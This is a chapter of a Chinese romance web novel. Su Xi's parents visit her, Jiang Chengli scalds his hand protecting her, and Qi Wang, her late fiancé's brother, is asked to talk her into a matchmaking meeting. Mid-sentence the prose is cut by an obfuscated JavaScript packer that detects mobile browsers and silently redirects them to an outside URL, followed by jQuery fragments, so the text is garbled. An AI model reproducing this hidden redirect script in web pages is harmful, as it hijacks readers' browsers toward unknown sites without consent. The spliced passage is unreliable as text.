47. 第 47 章
作品:《路尽之处》 出了电台,主道上,苏溪见两人空着手,问,“你们的行李呢?”
张蓉芳说,“我们没带行李,就来给你过个生日,住两天就走。”
苏溪望着自己被母亲握着的手,手掌的温度明明都一样,却比常人更温暖,低声说,“我也没有给你们过生日。”
张蓉芳笑了下,“你一个人在郴江,有心就够了。”伸手摸了下苏溪耳廓一缕翘起的头发。
“对了。”张蓉芳想到什么,回头朝身后看了眼,低声问,“你这个朋友叫什么名字?”
“你是说江澄礼?”
“江澄礼,名字还不错。”张蓉芳说完微微点头,面色全是审思打量的味道。
苏溪握着的手微顿,终于反应过来一件事,“你误会了,我跟他只是单纯的朋友关系。”
乍然见到三年未见的父母,苏溪这才想起带异性朋友见父母的含义。
张蓉芳见她认真解释的模样,没有丝毫想象中的异常,“好的,妈明白了。”
苏溪不是不明白她在想什么,停下脚步,看向跟在后面的江澄礼,对父母二人说,“我忘记给你们介绍了,江澄礼是我第一期的嘉宾,也是我们台长的儿子。”
苏溪的声音轻轻的,从上学时就不时有人说过她声音好听,咬字清晰,音色醇厚干净,不迫人,不忸怩,轻缓有序。
就连生起气来,也自有一股气势,没有脏字,就这么淡淡看着你,连正在同她发火的人,被她说得莫名其妙就消火了。
张蓉芳面对这样的苏溪,不由怔了怔。
从刚才起,江澄礼就觉得自己被遗忘了。他独自走在最后,有种想走却找不到时机的感觉。苏溪和她母亲说着话,声音不大,但偶尔有字眼能飘过来。
于是,他听到了自己的名字。
紧接着,苏溪就停了下来,开始正式介绍他。
这次她没有用‘朋友’,用的是上司的‘儿子’。
江澄礼站在原地,接受两位长辈的注视。
那种感觉很怪异。当然,这份怪异同他没什么关系,是对面一家三口的原因。这三人关系融洽,但偏偏有种融合不到一起去的怪异。
门店离得不远,在这冬季刚刚热身便到了。
苏溪选了个包厢,让父母先进去坐,然后她走回门口,站在江澄礼身边,低声说,“刚才不好意思。”
江澄礼看着面前距离他不过半臂远的人,没有说话,
苏溪解释,“因为过去一些事情,我爸妈很关心我的个人情况。我怕他们误会,就那样介绍你了。”
“什么过去的事?”江澄礼问,“我方便知道吗?”
苏溪微愣。
江澄礼唇角微扬,笑容自信却不迫人,只是单纯的好奇,“不方便?”
苏溪摇头,“不是,我只是有点诧异,还以为你对别人的事情不感兴趣。”
江澄礼,“别人我确实不感兴趣,但是对你,我挺有兴趣。”
苏溪,“……”
见苏溪不说话,江澄礼这才想到自己话中可能引起的歧义,说,“别误会,我只是觉得做个听众没什么不好,如果你想说的话。”
苏溪,“也没什么不能说的,回头我告诉你,先吃饭。”
江澄礼跟在苏溪身后,进入包厢。
正值饭点,菜上得有些慢。
苏溪吃着面前的凉菜,咸了就喝口热水。
这时,苏劲秋的手机响了,他接通说,“放心,已经遇上了,在吃午饭呢……就在电台主道左边这家……这不会麻烦你吗?……你午饭吃了吗?……那正好,你过来一起,我们在三楼包厢。”
见苏劲秋电话挂断,苏溪问,“爸,你这边有认识的人要来吃饭?”
苏劲秋把手机放桌上,闻言说,“不仅我认识,你也认识。”
见苏溪还不明白,张蓉芳解释说,“你和戚妄不是一起上节目了嘛,那一期我们都看了。这次来找你,你电话一直打不通,我们又不认识别人,正好戚妄也在郴江,我们就联系他了。”
苏溪拿筷子的手慢慢放在桌上,“刚才和你通话的是戚妄?”
“对啊,正好一起吃饭。”
“他是现在过来吗?”
“嗯,他怕我们联系不上你,特意过来了,就在附近。”
苏溪没再说话,她的左手边,江澄礼朝她看了眼。
没多一会儿,包厢的门被人推开,有人走了进来。
苏劲秋和张蓉芳坐在上座,正对着门,戚妄一眼就看到了。苏溪坐在侧对着门的位置,戚妄只能看到她的侧脸,以及她身边的江澄礼。
戚妄的脚步微滞,重新踏进,“叔叔,阿姨。”
“戚妄,来,快坐。”苏劲秋拉开身边的椅子。
戚妄坐过去。
“你上了溪溪的节目,我们当时还以为看错了。”张蓉芳给戚妄倒了杯水。
戚妄双手接过,道谢。
“不过,你下次别在节目上乱说了,就算是假的,结婚这种事也不能开玩笑。”
戚妄点头。
节目被亲戚看到了,立刻就联系了他父母,跟着就给他打来电话。当时他用的也是余洸那套说辞,不可避免被说了一顿。
“溪溪,都说上节目是有剧本的,你们节目有吗?”
苏溪摇头,“没有。”
“那难怪了,戚妄说那些你也不好反应。”
这盘儿凉菜已经见了底,苏溪放下筷子说,“这个是后期剪辑的工作,我也不太好控制。”
事情早已发生,夫妻俩也只是想到才说一说。
服务员在此时端菜进来,一一摆在圆桌上。
苏溪感觉到视线,抬起头。
对面,一双黝黑的眼眸正静静地望过来。
“小心!”江澄礼忽然喊了一声,等苏溪再转头看时,事情已经发生了。
服务生转动圆桌时,没有注意到桌旁的茶水。茶水很烫,眼见着就要泼在苏溪身上,被江澄礼用手给拦住了。
白皙修长的手背被烫的通红。
苏溪面色一变,一把抓住江澄礼的手腕,看向服务生问,“洗手间在哪?”
服务生也被吓到了,指着右边的方向,见苏溪拉着受伤的人出门,他立刻说,“我去拿冰块。”匆匆出了门。
包厢里的三人被这场变故弄得一时怔愣在原地。
水龙头下,苏溪拉着江澄礼的手,放在水流下不停地冲。
“嘶~”江澄礼喊了一声。
冬天的水有多凉,可想而知。
“谢谢。”苏溪说。
江澄礼,“谢什么,我们不是朋友吗?”
苏溪看着水流下手背上被烫出的红,“但你这是右手。”
江澄礼看了眼自己的手,说,“所以?”
苏溪,“你要画画。”
江澄礼的视线转向身边始终低着头的人,“烫伤而已,又不是骨头断了。”
苏溪抬头,同江澄礼对视,“骨头断了?那还得了?”
见苏溪一脸认真,不像在开玩笑,江澄礼怔住。
这时,苏溪已经低下头,声音在水流衬托下变得低缓清冽,“江澄礼,我们算是朋友吗?”
江澄礼,“我是这么想得,但不知道你怎样想。”
“是朋友。”苏溪说,“但我不想要两肋插刀的朋友。”
面前就是镜子,江澄礼仰头,看着镜中他身边人的倒影,苏溪始终低着头。现实中正常视角,他只能看到她的发顶。但在镜中,苏溪清晰的展露出自己的倒影和侧颜。
神色淡漠,却充满心事。
“两肋插刀不好吗?”江澄礼问。
苏溪摇头,“我不喜欢看到人受伤,无论是认识,还是不认识。”
江澄礼盯着镜中人看了好一会儿。
回到包厢,江澄礼的手背上捂着一个很夸张的冰布袋,比他的手大了两倍有余。
“没事,不是很严重,冰一会儿就好。”面对长辈的关心,江澄礼表现的很礼貌。
饭桌上很安静,大家各自用餐。
苏劲秋忽然问,“这次元旦你回去吗?”
隔着一个圆桌,虽然没有喊名字,但苏溪知道问得是自己。她没有明确回复,“这要看台里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904022|157190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安排了,如果有任务,我恐怕还不能回去。”
苏劲秋下意识看向苏溪身边的江澄礼。
突然接收到视线,江澄礼还觉得奇怪,然后想到来时苏溪对自己的介绍‘台长的儿子’,一时间不知道该不该搭话。
幸好,苏劲秋只是看了一眼。
“你为什么不回去?”趁大家不注意,江澄礼压低声音问苏溪。
苏溪,“工作忙。”
“需要我和我爸说一声吗?”
苏溪抬头,看着江澄礼,像在审视他是认真的,还是说说而已。
江澄礼任由苏溪审视,点头,“明白了,你不需要。”
面前一盘烤鸭转过来,苏溪随手夹了一块放他碗里。
江澄礼盯着那块全是鸭皮,肥油都快爆出来的肉,说不出来拒绝的话。
苏溪说,“吃啊,放心,这不是巴结。”
——巴结。
这词是当初露营时,自己对苏溪说过的。
这么快,报应它来了。
江澄礼费力的用左手执筷,“那真是谢谢你了。”
苏溪,“不客气。”
“戚妄。”
张蓉芳低声问身边的戚妄。
戚妄收回看向对面的视线,“阿姨。”
“溪溪和你最近走动的多吗?”
“还行。”
“那你能帮我劝劝么。”
戚妄知道张蓉芳嘴里的‘劝’是指什么,毕竟这5年来,所有人都想劝。可是苏溪很果决,三年没有回家。
戚妄说,“我劝不一定有用。”
张蓉芳神色黯然,因为工作原因,在法庭上见多了人性,从小他们对苏溪的教育方式,就是不要过多管束,苏溪尽可以去做自己喜欢的事。
一年一年迅速过去了,苏溪成了邻里邻外口里的‘别人家孩子’。
苏溪很早熟,有自己的想法,他们更不用担心什么,就连早恋也只是作为父母的劝告,见苏溪答应了,就没有再多参与,总觉得苏溪这样省心,非常好。
可没想到,变化会来的那么突然。
他们才意识到,从不管束是放任,从不过问是隔阂。
戚妄抬眸,看向对面正在说话的两人。苏溪不知是不是在担心江澄礼的手,不时替江澄礼夹菜。江澄礼也毫不客气,吃哪儿指哪儿,享受了一把土皇帝的待遇。
张蓉芳,“有些话你可能听着不高兴,你哥离世以后,溪溪的情况你也是知道的。我也是第一次做母亲,我希望自己的女儿能过得好,可是……”
说到这里张蓉芳停住,看向戚妄,声音镇定,“这次元旦我想让她回去。”
眼中有着执着,像似下定了某种决心。
戚妄问,“你们为什么一定要让她回去?”
张蓉芳,“相亲。”
戚妄怔住。
张蓉芳,“她总不可能永远都一个人,我也不想让她一个人。”
“人选,你们定了吗?”戚妄问。
张蓉芳点头,“你叔叔律所里的,人不错,性格也很好。”
戚妄沉默。
张蓉芳看着戚妄,犹豫两秒说,“如果你出面和溪溪说,她肯定会考虑的。”
戚妄,“为什么?”
张蓉芳,“因为,你是戚程的弟弟。”
……
午饭快吃完的时候,戚妄独自出了包厢。
楼梯是实木的,踩上去有种很扎实的踏空感,戚妄一只手放在扶梯上,一步步朝下走。
五年前,所有人都准备好了在那个夏天迎接苏溪和戚程的婚礼,只等两人毕业旅行回来。
然而,戚程死了。
那些已经送到宾客手中的婚礼请帖,成了红色废纸。
难过吗?肯定是难过的。
张阿姨和苏叔叔也是难过的。
可现在,当苏溪孑然一身,固执到听不进一句话后,还会难过吗?
——“因为,你是戚程的弟弟。”
那双望过来的眼神里,有对戚程离世的悲伤,难过。
还有……浅浅的,不易察觉的痛恨。